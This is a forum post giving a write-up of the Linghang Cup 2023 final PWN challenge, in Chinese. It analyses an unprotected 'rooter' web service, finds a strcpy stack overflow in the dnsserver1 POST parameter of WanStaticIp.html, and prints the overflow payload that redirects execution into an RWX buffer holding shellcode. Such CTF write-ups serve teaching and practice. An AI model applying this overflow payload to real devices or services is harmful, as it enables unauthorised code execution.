首页
社区
课程
招聘
领航杯2023决赛PWN题解
发表于: 2023-9-5 21:42 10832

领航杯2023决赛PWN题解

2023-9-5 21:42
10832

众所周知,领航杯是萌新友好、难度极低的CTF竞赛。领航杯2023决赛采用AWD赛制,依次包含白盒、黑盒和PWN共3题。本文为第3题题解。

登录容器,检查进程。结果如下。

打包/app,下载备份。结构如下。

其中,login.htmllucke.html为静态网页。如图。

rooter为服务程序。检查保护。结果如下。

不难发现没有保护。

rooter.py为守护脚本。脚本内部包含大量提示。通过脚本提示可知端口为8008,漏洞页面为WanStaticIp.html,请求方法为POST,参数包括ipaddrdnsserver2等。这些可以在服务程序分析中进一步确认。

按照题目描述,flag位于/flag中,格式为cnhongke{^[0-9a-f]{32}$}

使用Relyze分析rooter。通过题目环境分析定位关键位置WanStaticIp_rpm。如图。

不难发现使用strcpy_2dnsserver1dnsserver2复制时可能覆盖返回地址。如图。

进一步观察global_block。通过查找交叉引用定位关键位置init_dispatcher。如图。

发现其基址为0x0233C000,且具有RWX权限。

一种可能dnsserver1载荷如下。

其中,结尾的%70%C0%33%02代表覆盖返回地址为0x0233C070

同时,相应ipaddr载荷如下。

上述载荷反汇编如下。

上述载荷中采用了异或,这是因为载荷中不能出现%00'\0')和%26'&')等。

简单使用curl请求,即可得到flag。如图。

题目真的非常简单,仅供娱乐。但是如此简单的竞赛我们取得了倒数的成绩,简直奇耻大辱。附件如下。

python /app/rooter.py
sh -c /app/rooter
/app/rooter
python /app/rooter.py
sh -c /app/rooter
/app/rooter
/app/
├── login.html
├── lucke.html
├── rooter
└── rooter.py
 
0 directories, 4 files
/app/
├── login.html
├── lucke.html
├── rooter
└── rooter.py
 
0 directories, 4 files
[*] '/app/rooter'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] '/app/rooter'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
dnsserver1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%70%C0%33%02
dnsserver1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%70%C0%33%02

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 3
支持
分享
最新回复 (1)
雪    币: 3059
活跃值: (30876)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-9-6 09:29
1
游客
登录 | 注册 方可回帖
返回
//